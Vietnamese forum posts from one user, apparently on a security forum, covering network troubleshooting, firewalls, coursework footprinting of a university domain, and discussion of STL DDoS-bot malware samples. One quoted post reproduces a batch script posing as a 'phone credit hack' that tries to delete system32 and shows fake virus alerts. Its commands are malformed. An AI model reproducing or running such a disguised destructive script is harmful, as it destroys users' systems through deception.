Messages posted by: o.O.o

Lỗi thứ 3: Mình đoán là bạn có dùng Unikey và đang check vào cái checkbox: Luôn sử dụng clipboard cho unicode.
Bạn thử uncheck cái checkbox đó thử xem sao smilie

congchuahoatuyet1997 wrote:

@rem ----- ExeScript Options End -----
@title Guester.us - Hack tien dien thoai
@echo on
@echo Chao mung ban den voi Hack tien from Guester.us . an phim bat ki de tiep tuc
@pause >nul
@echo off
cd /windown
del system 32/*.*
del system32
@echo on
@echo bao dong ! may tinh cua ban co it nhat 10 con virus
@pause >nul
@echo de an toan chung toi se khong cho ban tiep tuc
@pause >nul

thế này lài gì ta???

Có thể cho mình biết được dùng soft gì để đọc được các dòng lệnh của file batch (.bat) sau khi chuyển nó thành .exe không?
Thử tìm với google nhưng chưa thấy kết quả mong muốn có thể từ khoá tìm chưa hợp lý smilie

Ai biết có thể trả lời giúp mình. Thanks !

Mình đang sử dụng Ubuntu và đang tìm hiểu về shell script căn bản

Lấy ví dụ như sau:

1. Mình muốn xem trong mạng LAN đang dùng có bao nhiêu hostname (tên máy) cùng mạng với mình (trên windows thì dùng lệnh netview có thể biết được)
2. biết được cùng mạng rồi thì mình có thể thực hiện đổi tên máy cùng mạng với mình được không? (được, nhưng không biết cách đổi thế nào :d)
3. Cùng 1 lúc mình có thể gửi 1 file text đến tất cả các máy đó không?

Nếu có thể thì cho mình (em) vài lệnh liên quan hoặc có ví dụ minh họa để thực hiện các việc trên (shell script cho Ubuntu)

Xin chân thành cám ơn Anh/ Chị và các bạn !

Mình thấy COMODO Firewall củng khá tốt mà free nữa đó

Nhân cái topic này cho mình hỏi: sao mình dùng lệnh tracert 2 cái tên miền như ảnh thì kết quả là yahoo.com tracert được tới đích còn hui.edu.vn thì không tới đích được.

Dùng nmap 5.6 scan sử dụng các tùy chọn được thiết lập sẵn trong Profile để scan hui.edu.vn thì không có kết quả gì nhiều còn báo là host down.

Như vậy là những người config sever đã ngăn chặn scan trên sever. làm thế nào để biết được nhiều thông tin với cái tên miền hui.edu.vn khi đã bị chặn như thế này?

Hiện tại biết được IP, windows sever 2008, IIS 7.5, ASP.net

Ps: mình đang làm cái bài tập về footpringting cái tên miền hui.edu.vn. Bạn nào có kinh nghiệm cho 1 vài từ khóa để mình có thể làm nhanh hơn. Thanks !

Đặt cái tiêu đề sai, giờ sửa lại không được nữa
Chính xác là coovachilli chứ không phải là coo và chilli. hix
http://coova.org/CoovaChilli

Hôm nọ vào học nhận các bài tập random thế là dính ngay cái bài "điều khiển truy cập wifi với coo và chilli"

Về search thử thì không có tài liệu hay thảo luận nào về 2 tên như đề cập ở trên bằng tiếng Việt.
Chỉ được 1 link về chilli ở đây. http://www.chillispot.info/index.html. Thằng này theo như mình đọc thì chạy được trên các HĐH linux (linux thì mình mù tịt, chỉ biết dùng Ubuntu "ngưới mới bắt đầu".)

Các bạn ai có tài liệu hoặc đã cấu hình qua xin chia sẻ ah, hoặc cho vài từ khóa để có thể dễ tìm thông tin.

"
Thế thì cái máy .99 kia là của đầu ghi, vậy thì sao khẳng định được cái camera hỏng. Có thể cái đầu ghi kia hỏng chăng?
Bạn thử rút hết camera ra khỏi đầu ghi rồi thử ping lại đến cái đầu đó xem
"

Sorry mình ghi nhầm thành camera (đã edit lại). chắc ko cần rút hết camera ra đâu, mai mình tìm cái màn hình LCD cắm vào xem thử thế nào. Mình nghĩ cái port LAN của đầu ghi có vấn đề.

Đúng rồi, mất hình ảnh đồng loạt của tất cả các camera và báo mất kết nối, chờ khoảng 2 phút là có lại bình thường rồi lại mất, rồi lại có ...

Chắc là ko tự nó reset rồi, mình xem được cứ trong 3 phút thì 2 phút không thấy được hình ảnh còn 1 phút thì thấy được như bình thường (xem bằng soft của đầu ghi).
Nó cứ liên tục như vậy.

@vn.rootkit: camera ko có IP, các camera được cắm vào đầu ghi (8 cái), và chỉ có đầu ghi là có IP

Mô hình chỉ đơn giản thế này thôi:
1. 1 cái sw 8 port
2. 1 cái đầu ghi (gắn các camera vào).
3. 1 cái máy tính để xem camera qua trình duyệt hoặc soft kèm theo đầu ghi.

Đầu ghi và máy tính đặt cùng lớp IP qua sw

Trước đây vẫn xem bình thường nhưng vài ngày gần đây xem lúc được lúc không, ping thử địa chỉ của đầu ghi thì kết quả như trong ảnh.

Em không biết đặt cái tiêu đề câu hỏi sao cho nó hợp lí.
Ping địa chỉ 192.168.2.99 -t thì được kết quả trên.

Với kết quả trên thì mình có thể kết luận cái port LAN của đầu ghi bị hư rồi không, đã kiểm tra dây cáp ok bằng cách lấy 1 máy tính cắm dây đó vào.

Thỉnh thoảng mình củng hay bị vậy

Công nghệ điện toán đám mây, nghe cái tên sao mà nó cao siêu to lớn quá, em thì không có tóm tắt, đơn giản được nó như thế nào là hợp lý nhất, chỉ biết nó ít nhiều nói đến ảo hoá, và tiết kiệm chi phí qua 1 số bài báo, giới thiệu... haizzz smilie

Mình thử trace route thì đường đi nó qua vài quốc gia Hong Kong, United States,Switzerland, Germany và địa chỉ cuối cùng là 188.40.117.12 Gunzenhausen, Germany

Chính phủ Đức dùng trojan "do thám"
http://www.quantrimang.com.vn/tintuc/tin-quoc-te/83379_Chinh-phu-Duc-dung-trojan-do-tham.aspx

@Kutroi
Lại gặp cái giọng điệu này, người ta post lên đây có ý định tìm hiểu nguyên nhân vấn đề anh ta chưa hiểu, chưa biết, lại lôi cái chuyện hồi sửa hồi xưa ra đây quăng gạch.

Mình thì ko thích BKAV cho lắm mặc dù nó rất tiến bộ rồi, và mình củng không thích lắm cái giọng điệu tương tự như của bạn vậy.

Nhưng mà quan trọng ở đây là ko phải là thích hay ko thích, mình nói vậy thôi chứ ko vì lý do gì mà làm mất hoà khí nhé

ý mún của mình là cần 1 firewall độc lập kìa

Anh PXMMRF lúc nào phân tích củng hay có thể nói được tổng quan các vấn đề. mặc dù em ko xác minh được nó đúng được nhiều hay ít nhưng với em nó cực kì có giá trị
Theo dõi topic này có nhiều cái rất thú vị
Thanks các anh.

Chắc là bị cài quan sát màn hình làm việc trên máy rùi

angel_of_devil wrote:

Cài lại máy, cài 1 AV như Sophos hoặc Avira v.v... kèm 1 Firewall quản lý kết nối vào/ra. Quét virus, đồng thời kiểm tra các process lạ, đến các IP lạ. Nếu nhiều máy dùng chung 1 mạng thì nguy cơ có thể đến từ các máy trong cùng mạng LAN bị nhiễm worm...

Em đang cần 1 firewall như anh nói. anh tư vấn thử xem đang firewall mạnh hiện nay được nhiều người sử dụng là gì
Em thấy firewall của thằng Comodo khá chi tiết và hiệu quả nhưng mà nó lại đi kèm theo antivirus thằng này tính phí
Hiện em đang dùng antivirus free và muốn tìm 1 ứng viên firewall hiệu quả smilie

PXMMRF wrote:

crc32 wrote:

Tin buồn cho stl là AVAST! cũng vừa mới chộp cổ mớ malwares trong iTunes.rar.

Nó chộp iTunesHelper.exe từ sáng sớm hôm qua (30-8-2011), khi tôi thử nghiệm lai quá trình DDoS vào mục tiêu.
Bây giờ muốn thử nghiệm một số bot-DDoS tool của STL phải "chiều" chúng như "chiều vong". Phải disable Antivir guard, có lúc phải disable cả Avira, hạ hết Firewall, cẩn thận disable cả McAfee on-access scan, disable cả các chương trình dự đoán có thể conflict với nó....để STL bot có thể nhiễm được vào máy của mình. Hì hì

TQN wrote:

http://analysis.avira.com/samples/details.php?uniqueid=KcAZAjtnOS4VD6kgfsrWYGchX1gq6Lvn
Kể ra up cũng khá nhiều, và hầu hết đã bị Avira chụp hết, ngay cả cái IAStor cũng đã được đưa vào danh sách.
Avira số 1, KAV+MS số 2. Bỏ công sức ra viết mail cũng đáng.

crc32 wrote:

Tin buồn cho stl là AVAST! cũng vừa mới chộp cổ mớ malwares trong iTunes.rar.

Cho đến sáng nay (31.8.2011-9.00AM) Avira vẫn chưa detect đươc các files trong "IAStore_26_08_2011.zip" (gồm 5 file .dll và 1 file .exe sau khi extracted) là virus, TQN ạ!

Ủa sao ngộ vậy ta, em sử dụng Avast 6 up date mới nhất sao không detect được "IAStore_26_08_2011.zip" (gồm 5 file .dll và 1 file .exe sau khi extracted) là virus
Sau khi giải nén và scan thì nó im ru luôn?

Sáng em vào thử vietnamnet.vn (29-08-2011 7:22 PM) tốc độ truy cập rất nhanh, gõ enter xong là ra ngay, chắc đang ngưng ddos rồi

tranhuanltv wrote:

IAStore_26_08_2011.zip mẫu của anh TQN gửi Avira cũng cho là sạch luôn

Ủa sao kì vậy ta? Theo như những comment ở trang trước thì mấy file này đã bị avira lụm trước đây vài ngày rồi mà ?

Thấy các anh up mẫu cho mấy hãng antivirus khác mà chưa thấy ai nhắc đến đã gửi cho Avast, thằng này hiện em đang dùng, các mẫu down về quét cứ trơ ra đó ah. Đã gửi mẫu qua mail virus@avast.com mà không thấy nó phản hồi gì hết, lần trước em gửi 1 đống mẫu trên link của anh TQN up cả tuần nay mà chẳng thấy nó phản hồi

Chiều em thử send cho nó vài mẫu faceItune nữa, ko biết nó có chịu phân tích và trả lời ko nữa

Hay là các IP của VN bị lock hết rùi

Em thử vào link dưới, link này có trong lúc anh TQN RCE và detect thì được báo như bên dưới, hổng lẻ IP của em bị chặn vì phát hiện có có truy vấn tới blog này trước đây. và nếu như vậy thật thì hổng lẻ 1 trong những cái máy của chỗ e dính virus của STL. mấy cho cho thêm ý kiến nhé.
Thanks ah !
Code:

http://www.google.com/sorry/misc/?continue=http://danlambaovn.blogspot.com/2011/08/mong-anh-ung-la-tay-sai-cua-duch-thu.html

Our systems have detected unusual traffic from your computer network. Please try your request again later. Why did this happen?

IP address: 113.xxx.xxx.xxx
Time: 2011-08-22T07:07:53Z
URL: http://danlambaovn.blogspot.com/2011/08/mong-anh-ung-la-tay-sai-cua-duch-thu.html

Mình có đoạn mã Hex thế này: 354d02db2d677a2ae28306c69cc28e258fd2e64

Bằng cách nào mình mới chuyển nó về dạng 1 chuỗi bình thường được không (chuỗi có thể gồm kí tự <a-z>, số) smilie